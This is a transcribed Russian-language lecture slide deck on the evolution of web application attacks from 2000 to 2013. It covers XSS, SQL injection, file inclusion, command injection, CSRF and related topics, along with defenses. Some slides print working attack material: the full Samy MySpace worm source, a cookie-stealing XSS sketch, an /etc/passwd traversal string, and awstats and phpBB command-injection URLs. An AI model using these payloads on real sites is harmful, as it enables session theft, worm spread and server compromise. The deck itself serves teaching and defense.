Эволюция атак на веб-приложения и веб-сервисы
-
Upload
jamalia-mcmillan -
Category
Documents
-
view
25 -
download
1
description
Transcript of Эволюция атак на веб-приложения и веб-сервисы
Эволюция атак на веб-приложения и веб-сервисыБезопасность веб-технологий
2 О чем будем говорить
Что такое веб-приложение и веб-служба
Какие проблемы с безопасностью существуют
Как эти проблемы используются хакерами
3 О чем говорить не будем
Отличие злоумышленникам от хакера
Отличие угроз, уязвимостей и атак
Отличия различных типов средств защиты
4 Что есть веб- приложение/служба
Что есть веб?
Веб-приложение = клиент (браузер или его аналог) + веб-сервер (который может включать в себя веб-службы)
Веб-служба (SOA) = клиент (Requester) + интерфейс (Broker) + логика (Provider)
Где встречаются:
Периметр (интернет-сайты, динамический контент для клиентов, удаленный доступ)
Внутренний сегмент (серверы приложений, базы знаний и т. п.)
Кем употребляется: всеми, но веб-службы обычно в серьезных проектах
Зачем употребляется:
организация удаленного доступа (SSL VPN, электронная почта);
администрирование (сетевыми устройствами, ботами ;));
представление данных внешним пользователям (интернет-сайты, динамический контент для клиентов, базы знаний);
взаимодействие между серверами приложений.
5 Отличия
Веб-приложение:
«условно» стандартизовано
HTTP/HTTPS
Интернет и интранет
Подразумевает «живого» клиента
Веб-сервис
стандартизованные протоколы и сообщения
SOAP через HTTP/HTTPS, SMTP (редко)
Чаще – интранет
Подразумевает клиента-автомат
Будем считать, что:
Пару слов о RESTful API…
6 Пример архитектуры
Клиент (браузер, сценарий), веб-сервер.
Опционально – СУБД, балансировщики нагрузки, IDS/IPS/WAF, фронтенды, различные службы (веб-, каталогов и т.п.)
Множество нововведений 200* - 201*
7 Примеры средств защиты
«Низкие» уровни OSI, пакеты - межсетевой экран, роутер
Пакеты, сегменты и данные - IPS/IDS (функции часто присутствуют в фаерволе)
Данные - Web Application Firewall (WAF) – софт и железо.
Функции: фильтрация контента и прочее.
Примеры: mod_security (софт), Barracuda WAF (железо).
Встроенная функциональность платформ и языков (safe_mode, taint mode, etc.)
Надстройки(администраторам - Suhosin, разработчикам – AntiXSS и аналоги)
8 Выводы (веб-приложения)
Логика работы уходит к клиенту
Рост популярности в корпоративном секторе (предпочтение тонкому клиенту)
Становятся более защищенными (и сервер, и клиент)
9 Атаки на веб-приложения (общее)
Нарушение запланированной логики работы приложения (код, архитектура, дизайн, конфигурация, etc.)
Все внешние данные – опасны, если они работают с интерфейсами, которые могут влиять на работу системы
Факт: приемлемый интернет, дырявый интранет
10 Атаки на веб-приложения (200*)
Как проводятся: руки, отдельные эксплоиты, простейшие сканеры
Ограниченное число технологий: ASP .NET, Perl (CGI), PHP.
Массовые атаки (черви Blue Code, Code Red, etc.)
Массовая эксплуатация уязвимостей в реализации (BoF’ы и иже с ними)
Атак много – эксплуатируется (из общего числа) мало
Обилие рабочих эксплоитов
Рассмотрим самые распространенные уязвимости (статистика компаний упирается в своих специалистов или вообще в наличие репортов об уязвимостях)
11 Атаки на веб-приложения (200*) – Переполнение буфера (BoF), теория Самая популярная уязвимость, в вебе также распространена
Причины:
память несовершенна - критичная временная информация (окружение), хранимое в областях памяти (стек, куча) может быть перезаписана;
кодим обработку данных, но не думаем над характеристиками
Как: отправляем данные, которые выполняются как нужные инструкции
Результат: от чтения значений переменных до выполнения произвольного кода
12 Атаки на веб-приложения (200*) – Переполнение буфера (BoF), практика
Часто встречались в различных расширениях и дополнениях к серверу. Например:
Apache OpenSSL heap overflow exploit:
get_client_master_key(), KEY_ARG MS IIS 5.0 ISAPI printer BoF:
http://#{buf}/NULL.printer?#{payload.encoded}
13 Атаки на веб-приложения (200*) – Загрузка произвольных файлов (Unrestricted File Upload), теория
Что это и где: загрузка непредусмотренных типов файлов; везде, где есть загрузка файлов (изображения, отладочная информация к тикетам, шаблоны и т.п.) – чаще в админках
Причины: отсутствие фильтрации параметров загрузки файла (имени, содержимого, пути загрузки, etc.)
Как: подмена MIME-type; внедрение кода в корректный файл; различные расширения (некорректные, длинные, множественные, пустые и т.п.); использование функций платформы; загрузка управляющих файлов (.htaccess, web.config, crossdomain.xml etc.); нуль-байт в имени (например, при указании пути сохранения)
Профит: от создания FTP-хранилища но захвата сервера
14 Атаки на веб-приложения (200*) – Загрузка произвольных файлов (Unrestricted File Upload), теория
Защита: избегать возможности загрузки ; использовать белые списки имен и расширений; фильтровать Content-type; принудительное приведение типов содержимого к
безопасному (text/plain); загружать в директории, недоступные хакеру.
15 Атаки на веб-приложения (200*) – Загрузка произвольных файлов (Unrestricted File Upload), практика
CVE-2006-3362: Unrestricted file upload vulnerability in connectors/php/connector.php in FCKeditor ... allows remote attackers to upload and execute arbitrary PHP code via a filename with a .php extension and a trailing extension that is allowed, such as .zip.
Пример с .htaccess:
16 Атаки на веб-приложения (200*) – XSS, теория Что это и где: атаки на клиентов путем подмены генерируемых веб-страниц
(внедрение любого кода, с которым может работать браузер); везде, где пользовательские данные выступают как код, обрабатываемый браузером (HTML содержимое, сценарии, Flash и т.п.). Часто встречаются в выводе системных сообщений различных компонентов (XML-парсеры, трассировка запросов СУБД, etc.)
Причины: отсутствие фильтрации данных, их использование для формирования представления ответа браузеру
Как: зависит от типа XSS, переход по ссылке клиентом
Профит: обход SOP, перехват критичных данных (куки, токены, пароли), слежка за пользователем, эксплуатация уязвимостей клиентской части, помощь в других атаках (CSRF, HTTP Response Splitting, etc.)
Защита: фильтрация ввода и вывода (встроенные средства – например, html_safe), использование библиотек (AntiXSS), заголовки X-XSS-Protection, безопасная установка куки (время, флаги)
17 Атаки на веб-приложения (200*) – XSS, практика
Примеры атак: “><script … new Image() … img.src = ‘’ + document.cookie
Samy is my hero (2005) : 1млн пользователей за 20 часов. Причина – специфика работы со стилями браузеров
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
18 Атаки на веб-приложения (200*) – Внедрение операторов SQL (SQL-injection), теория
Что это и где: внедрение своего кода в легальный SQL-запрос (по-сути, программу); везде, где есть запросы СУБД, но нет фильтрации передаваемых параметров запроса
Причины: небезопасное создание запросов (конкатенация или замена строк) с использованием пользовательских данных, отсутствие их фильтрации
Как: тестируем простейшую логику, определяем структуру начального запроса, корректно внедряем нужный код (зависит от типа запроса – обычно DML, от типа СУБД и ее версии)
Профит: от чтения полей (например, данные кредиток) и создания DoS до удаления БД или захвата сервера
Защита: использование безопасного API (LINQ, плейсхолдеры (prepared statements – сначала запрос, затем данные, обработка последовательная), надстройки для статического анализа (CAT.NET), приведение типов данных, отключение вывода ошибок, жесткая фильтрация прав, шифрование хранимых данных
19
Атаки на веб-приложения (200*) – Внедрение операторов SQL (SQL-injection), практика
RBS WorldPay – 9 млн. $ из 130 ATM
Согласно информации, представленной в материалах обвинения, лимиты снятия наличности по картам через ATM и при расчётах через POS-терминалы были увеличены по различным картам от 5 тыс. USD до 500 тыс. USD.
UPDATE Card SET ATMxxxxxLimit = 500000, POSxxxxxLimit = 500000, ATMxxxxxxxxx = 500000, ATMxxxxxLimit2 = 500000, POSxxxxxLimit2 = 500000, ATMxxxxxxxxx2 = 500000 WHERE xxxx PAN IN ('xxxxxxxxxxxx1627') Вполне себе используются для распространения
вредоносного ПО (особенно MSSQL)
; UPDATE [‘+@T+’] SET … [‘+@C+’] … <script src
20 Атаки на веб-приложения (200*) – Подключение произвольных файлов (*-file inclusion/reading), теория
Что это и где: возможность подключения сценария (произвольного или доступного) или чтения произвольного (в пределах прав) файла. Универсальна по отношению к платформам и ЯП. Встречается в любых функциях работы с локальной (../../../../) или удаленной (file:///) файловой системой
Причины: неверная обработка путей к файлам, выход за пределы исходного каталога, отсутствие фильтрации параметров подключения сценариев (схем, хостов и т.п.)
Как: указываем известное имя MIME-нейтрального файла (robots.txt, .htaccess), тестируем возможность чтения иных локальных файлов и отсечения ненужных частей (%00, …, ?, %23), подключения удаленных файлов
Профит: раскрытие исходного кода, получение учетных данных, выполнение произвольного кода (через использование схем php://input, \\, php://filter/convert.base64-encode/resource= 2013)
Защита: установка настроек, ограничивающих подключение файлов (allow_url_* = Off), проверка в коде и обработчиках веб-сервера по соответствию регулярному выражению (опасно) – структура, длина и т. п., приведение к нужной форме корректная настройка прав доступа к файлам, экранирование спец. символов
21 Атаки на веб-приложения (200*) – Подключение произвольных файлов (*-file inclusion/reading), практика
Классика:
<?php include (“includes/”.$_GET[‘file’].”.inc”; ?>
?file=../../../../../../../../../../etc/passwd%00
Читаем passwd (здесь – JSP):
а затем …
22 Атаки на веб-приложения (200*) – Внедрение команд/кода (Command/code injection), теория
Что это: интерпретация данных как кода, аргументов запуска утилит, небезопасное использование модификатора /e при работе с регулярками, функции eval(), exec(), system() и т.п.
Причины: программист злоупотребляет командными интерфейсами и мешает код и данные пользователя, отсутствие фильтрации пользовательского ввода
Как: тестить спец. символы - &&, |, ., ; (и какие угодно еще в зависимости от контекста)
Профит: зависит от имеющихся прав у приложения и иных компонентов сервера (вплоть до управления сервером от суперпользователя)
Защита: не вызывать опасные функции (интерпретаторы команд) , использовать API «обертки» и безопасные режимы работы платформ (taint mode в Perl и Ruby), фильтровать ввод по черным, белым спискам и регуляркам, экранировать потенциально опасные данные, минимизация привилегий приложения
23Атаки на веб-приложения (200*) – Внедрение команд/кода (Command/code injection), практика
PhpBB <= 2.0.15 (PHP):
preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se',"@preg_replace('#\b(" . str_replace('\\','\\\\', $highlight_match) . ")\b#i','<span style=\"color:#" . $theme['fontcolor3'] ."\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<');
$action = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd." )%252e%2527";
OmniHTTPd 2.07 (Perl):if(open(CONFIG,"$searchdir$PROG.$SiteConfig.conf"))
/cgi-bin/awstats.pl?configdir=/usr/bin/id%20%3E%20/tmp/id%20|%20
24 Атаки на веб-приложения (200*) - иное
Малое количество защитных мер, непопулярность бест-практис и отсутствие внимания к безопасности в целом, малое количество грамотных специалистов в ИБ (как защита, так и атака), отсутствие стандартизации (в первую очередь, в браузерах), вся логика у сервера, WEB 2.0 еще не вырос:
брутфорс (идентификационные данные, расположение ресурсов при корявых правах доступа);
мало клиент сайда и много сервер-сайда, работало все подряд при малом количестве защитных мер (например, XST);
ошибки конфигураций (индексация директорий, некорректная обработка исключений, переключение методов запроса, ошибки с расширениями файлов и т. п.).
25 Атаки на веб-приложения (201*)
Многие – новая коммерческая обертка для старых Нарушение логики работы архитектуры взаимодействия Атак много – эксплуатируется много (рост квалификации, доступность информации и средств
эксплуатации) Более сложные (нужно уметь читать код – DOM XSS, действовать в жестких условиях (SQL blind),
хорошо понимать архитектуру приложения и сети (SSRF)) Комплексные (например, XSS+CSRF) Как проводятся: руки, плагины, сканеры, фреймворки, онлайн-сервисы. Необходимость обхода средств защиты (WAF, встроенные механизмы защиты в платформах):
смена представления (кодировки); множественные вхождения идентичных параметров (заголовки, переменные) регистр (часто) и длина (редко); изменение способов передачи (подделка методов, http->https) фрагментация данных (chunked); использование синонимов (функции, методы, например onerror->onclick)
Многие атаки канули в Лету (встречаются, но почти бесполезны для хакера – HRS, JSON hijacking, XST) Разнообразие платформ и языков
Рассмотрим самые популярные (и посмотрим на версию OWASP)
26 Распространенность проблем (рисков) по версии OWASP
27 Атаки на веб-приложения (201*) – Подделка межсайтовых запросов (CSRF), теория
Что это: возможность совершения действий в результате непреднамеренной (или преднамеренной, но неочевидной) инициации запроса к серверу от авторизованного пользователя
Причины: корень зла – отсутствие нормальных механизмов контроля параметров запроса клиента
Как: найти запрос, отправляемый любым способом и выполняющий нужное действие сразу же по результатам его обработки без применения «секретных» параметров запроса, сформировать страницу, инициирующую запрос любым доступным методом и вынудить атакуемого пользователя ее открыть
Профит: авы
Защита: anti-CSRF токены, на всякий случай – проверка Referer
28 Атаки на веб-приложения (201*) – Подделка межсайтовых запросов (CSRF), практика
Наличие инструкций в URI – самый очевидный, но не единственный показатель;
Существовали и ранее, но не было так популярно, так как успешная атака подразумевает знание параметров запроса (соц. сервисы – да, самописная админка – нет).
29 Атаки на веб-приложения (201*) - BoF
Все еще живы (и будут), но в крупных веб-серверах, модулях встречаются все реже (nginx и обработка chunked запросов в контексте ctx, CVE-2013-2028)
+ if (ctx->size < 0 || ctx->length < 0) {
+ goto invalid;
+ } Рост сложности эксплуатации (защитные меры)
Выгоднее не делать эксплоит, но искать уязвимость
30 Атаки на веб-приложения (201*) - XSS Новые механизмы защиты (IE X-XSS-Protection, FF NoScript,
Chrome Anti-XSS filter, Content Security Policy)
Активное использование давно существующих средств защиты (httpOnly, 2002) => необходимость их обхода (длинные заголовки->раскрытие куки, Java HTTP Api - getHeaderField)
Web 2.0, HTML 5/CSS 3.0, рост комплексных и DOM-based
AJAX и проблема Content-type
Server-side XSS
31 Атаки на веб-приложения (201*) - SQL
Скорее исключение, чем правило
Значительное снижение распространенности в результате наличия защитных механизмов компонентов веб-приложений и использования безопасных методов программирования
Ограничение возможностей злоумышленника по умолчанию в СУБД – блокировка доступа к различным объектам данных
32 Атаки на веб-приложения (201*) – через Ошибки авторизации (Missing Function Level Access Control)
Стали еще более популярны
В связи с необходимостью корректной настройки множества разнородных компонентов администраторы забывают про простейшие требования к безопасности
Частый случай – 9 из 10 административных сценариев/функций недоступны, но один – доступен. Осталось найти его имя и параметры.
33 Атаки на веб-приложения (201*) – Ошибки в логике (Logic flaws)
Были всегда, но популярность возрастает – как за счет усложнения эксплуатации других атак, так и за счет роста кол-ва и сложности взаимодействующих компонентов
Не могут быть найдены при помощи автоматизированных средств
Требуют ясного понимания принципов взаимодействия компонентов приложения
Примеры: использование функции дешифрования с одинаковыми параметрами для критичных и некритичных данных (доступных для просмотра пользователю), управление потоком выполнения на основании наличия/отсутствия переменной, безотносительно к ее значению
34 Атаки на веб-приложения (201*) – криптография
Требуют кропотливого труда и запаса времени и поэтому обычно ориентированы на массовость (SSL/TLS, ASP .NET)
Лидеры рейтинга техник веб-хакинга (WhiteHat Security) за последние 4 года
Чаще всего доходят до PoC’а, но требуют весьма специфических условий
35 Атаки на веб-приложения (201*) – модули, плагины, расширения, апплеты
Широкое разнообразие надстроек
Разнородные ошибки – от XSS до доступа к приватным методам защищенных классов
В большинстве случаев – необходимость обхода sandbox (но Java не такая , i.e. Rhino Script Engine)
Высокая рентабельность разработки эксплоитов => популярность
36 Атаки на веб-приложения (201*) – Отказ в обслуживании
Рост популярности не только классическими вариантами, но и через эксплуатацию ошибок в приложениях, Web-протоколах и их реализациях:
ресурсоемкие криптографические операции, e.g. OpenSSL renegotiation) (протокол/реализация)
ресурсоемкие операции СУБД (приложение);
Apache Killer и заголовок Range (протокол/реализация);
HTTP POST DoS – медленная отправка больших объемов данных (протокол)
37 Атаки на веб-приложения (201*) – иное
Некоторые атаки встречаются все реже (LFI/RFI почти умер)
Отдельные атаки никогда не умрут (небезопасная конфигурация, ошибки в назначении прав доступа)
«Социальные» атаки (ClickJacking, OpenRedirect, CSRF)
«Белые» хакеры предпочитают искать возможность проведения самых простых для обнаружения (но не всегда - для эксплуатации) атак: CSRF, XSS, ClickJacking, OpenRedirect и т.п.
Мобильные приложения и веб
38 Выводы (динамика развития атак на веб 2000-2013)
Акцент смещается к атакам на клиентов (почему? – коммерчески выгодно фирмам – меньше трудозатраты, проще искать, теоретически – сложнее отслеживать)
Атаки становятся более комплексными
Большая кучность, меньшая дальность: атаки становятся и более сложными и более легкими (широкое распространение доп. средств защиты – WAF’ы и т.п., а также наличие встроенных средств защиты в компонентах, рост числа компонентов у клиентов – атаки через Java, Flash, иные плагины etc.)
39 Дополнительно: какие еще атаки бывают
Другие инъекции (XML, XPath, LDAP, mail)
Атаки на сессии (replay, fixation, prediction)
Утечки информации
Проблемы «предсказуемости» (путей, сценариев, функций, значений параметров)
Прочее
40 Интересные материалы
Ресурсы:
http://www.slideshare.net/MattJohansen/top-10-web-hacks-2012
https://www.pentesterlab.com/web_for_pentester/web_for_pentester.pdf
https://www.owasp.org
http://www.slideshare.net/andrewpetukhov/starter-edition
Книги (последние издания):
Web Application Hacker/Defender Handbook;
24 смертных греха компьютерной безопасности;
The tangled Web.